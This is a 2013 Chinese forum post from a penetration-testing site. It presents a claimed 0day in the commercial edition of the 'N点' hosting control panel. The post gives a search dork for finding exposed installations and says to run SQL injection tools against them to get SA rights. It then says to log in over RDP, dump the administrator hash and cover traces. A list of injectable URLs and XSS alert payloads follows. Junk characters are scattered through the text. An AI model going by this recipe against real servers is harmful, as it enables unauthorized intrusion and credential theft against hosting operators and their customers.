中国网络渗透测试联盟

标题: N点商业版漏洞通杀0day以及利用方法 [打印本页]
作者: admin    时间: 2013-3-3 08:06
标题: N点商业版漏洞通杀0day以及利用方法
不得不说N点实在是一个破东西
0 g/ r* [4 b5 ^0 |$ |6 E就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂& ^4 R+ e$ |6 N* [: V0 _, g
好吧 抱怨一下就行了  接下来关键的时候到了0 K7 |9 U; j. \" x0 l
首先百度搜索关键字：inurl: (mmdatabase.asp)
* s$ W( j" g" V; V# [# x6 x( k9 d我随便列举一个：   www.xxxx.com/ ~  v7 G) @; {
修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=1, D- j) u7 n5 p0 t
扔入NBSI 或者啊D等各种傻逼工具后
4 R" x% n" K; K) A& I' Y% o  T你们会看到是SA权限
/ h% ]+ x) Y) M/ s果断3389 上去  hash得到administrator密码( B3 ?* x4 y4 D& l1 f
擦屁股走人~) [  o1 _0 v5 z4 P* x" o
经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的; Q! t/ O9 K: {$ U8 G/ \
; }( [- b) x# Y
再附上其他几个漏洞页面
5 [  B" {1 Q) ZSQL：9 i4 m2 L, Q% i8 `" j
http://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=1* G/ L4 ^2 c0 D, O( L& Z
http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11  e5 v  ]( G- I5 t# A
http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=9
6 U& [9 a" s, Ohttp://www.xxxxxx.com:80/Style/vhosting.asp?classID=2" A. @* ^9 b! z* k& T% O  ]
XSS证明：; I; m5 _- _( }! @- g9 I* \- v
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
5 L* ^6 F+ V! ~% N' j2 Vhttp://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”0 r5 Y3 h( H9 J. l
http://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>
( n4 Q9 [: A8 X2 o' m2 c% S由此可见点就是坑逼中的战斗机   自从用了他我的眼泪都流干了  有做IDC的朋友千万别步我后尘啊   便宜没好货好货不便宜8 G9 @* |; t* t5 A& g& Z) K9 j
还是星外吧  你们懂的* E& X  z" j( U9 W
作为一个商用程序   安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？
/ m- C2 \7 @3 m0 k+ ?3 c6 Q4 D( oPS：其实我真的很想知道你说N点这SB asp就asp吧  为什么asp还非要MSSQL  这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。   o(︶︿︶)o 唉4 F* D8 Z8 b0 c
——-



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2